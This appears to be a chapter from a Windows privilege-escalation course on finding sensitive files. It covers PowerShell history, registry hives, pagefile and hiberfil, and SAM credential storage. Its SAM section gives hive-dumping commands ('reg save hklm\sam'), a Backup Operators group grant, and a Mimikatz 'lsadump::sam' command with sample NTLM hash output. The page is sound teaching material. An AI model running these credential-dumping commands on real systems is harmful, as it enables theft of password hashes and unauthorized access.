# 11 - Files with Sensitive Data

#### Topics <a href="#topics" id="topics"></a>

> 1. Introduction to the Windows Shells
> 2. Windows Permissions
> 3. Reverse Shells in Windows
> 4. SeImpersonatePrivilege Exploitation
> 5. On Cross Compilation
> 6. Windows Services
> 7. Weak Service Permissions
> 8. Unquoted Service Path
> 9. DLL Hijacking
> 10. Always Install Elevated
> 11. Files with Sensitive Data
> 12. Windows Hashes
> 13. Stored Credentials and the Windows Vault
> 14. Scheduled Task
> 15. Critical Registry Paths
> 16. Useful Tools
> 17. AMSI Bypass

## **System Logs**

PowerShell commands and system logs are valuable for tracking user activity and investigating security incidents. This guide details key concepts such as command history, transcript logs, and sensitive Windows files like the SAM and registry hives.

### **Command History**

PowerShell maintains a history of executed commands, which can be retrieved in the following ways:

* **Retrieve Commands from Memory**:

  ```powershell
  Get-History
  ```
* **Retrieve History File Location**:

  ```powershell
  (Get-PSReadlineOption).HistorySavePath
  ```
* **Default History File Paths**:
  * **Windows**:

    ```bash
    %UserProfile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
    ```
  * **Linux**:

    ```bash
    $HOME/.local/share/powershell/PSReadLine/ConsoleHost_history.txt
    ```

### **PowerShell Transcript**

A PowerShell transcript records all executed commands and their output to a file. While useful for audits, mishandling transcripts may expose sensitive data.

* **Start Transcript**:

  ```powershell
  Start-Transcript -Path "C:\Users\Quickemu\Desktop\Log.txt"
  ```
* **Stop Transcript**:

  ```powershell
  Stop-Transcript
  ```

***

## **Security Accounts Manager (SAM + SYSTEM)**

The **Security Accounts Manager (SAM)** file stores local user credentials, including usernames, password hashes, and security identifiers (SIDs).

**Location:**

```bash
C:\Windows\System32\config\SAM
```

The SAM file is locked by the operating system, but backup copies may sometimes be accessible.

***

### **Dumping SAM with `SeBackupPrivilege`**

The `SeBackupPrivilege` allows privileged users or processes to bypass file security restrictions and back up system files.

* **Grant Privilege to a User**:

  ```powershell
  Add-LocalGroupMember -Group "Backup Operators" -Member "Leonardo"
  ```
* **Save SAM and SYSTEM Files**:

  ```powershell
  reg save hklm\sam C:\Users\Leonardo\Desktop\SAM.hive
  reg save hklm\system C:\Users\Leonardo\Desktop\SYSTEM.hive
  ```

### **Using Mimikatz to Dump LSASS**

`Mimikatz` can extract hashes stored in the Local Security Authority Subsystem Service (LSASS).

* **Command**:

  ```bash
  mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
  ```
* **Sample Output**:

  ```bash
  RID  : 000003e8 (1000)
  User : Quickemu
    Hash NTLM: 2b576acbe6bcfda7294d6bd18041b8fe
  ```

***

## **Registry Hives**

The Windows registry stores system and application settings. It is divided into hierarchical **registry hives**, each with specific roles and locations.

### **Common Registry Hives:**

* **HKEY\_CLASSES\_ROOT (HKCR)**:

  ```bash
  C:\Windows\System32\Config\Software
  ```
* **HKEY\_LOCAL\_MACHINE (HKLM)**:

  ```bash
  C:\Windows\System32\Config\SYSTEM
  ```
* **HKEY\_USERS (HKU)**:

  ```bash
  C:\Windows\System32\Config\DEFAULT
  ```
* **HKEY\_CURRENT\_USER (HKCU)**:

  ```bash
  C:\Users\<UserName>\NTUSER.DAT
  ```
* **HKEY\_CURRENT\_CONFIG (HKCC)**:

  ```bash
  C:\Windows\System32\Config\SystemProfile
  ```

### **Registry Analysis with `regipy`**

Use the `regipy` Python package to analyze registry hives:

```bash
pip3 install regipy
```

Example Python script for listing registry keys:

```python
from regipy.registry import RegistryHive

def list_registry_keys(hive_path):
    hive = RegistryHive(hive_path)
    for entry in hive.recurse_subkeys(as_json=True):
        print(entry)

if __name__ == "__main__":
    list_registry_keys("./SYSTEM")
```

***

## **Extra System Files**

### **Configuration Files**

Applications often store configuration data in the following locations:

* `%AppData%`
* `%LocalAppData%`

### **Paging File**

The paging file (`pagefile.sys`) is used by Windows for virtual memory.

* **Location**:

  ```bash
  C:\pagefile.sys
  ```

### **Hibernation File**

When hibernation is enabled, Windows saves the RAM contents to `hiberfil.sys`.

* **Location**:

  ```bash
  C:\hiberfil.sys
  ```

***

## **Other Resources**

* [Mimikatz GitHub Repository](https://github.com/gentilkiwi/mimikatz)
* [Regipy GitHub Repository](https://github.com/mkorman90/regipy)

{% hint style="danger" %}
**Disclaimer**

**❗ Never use tools and techniques on real IP addresses, hosts or networks without proper authorization!**❗
{% endhint %}
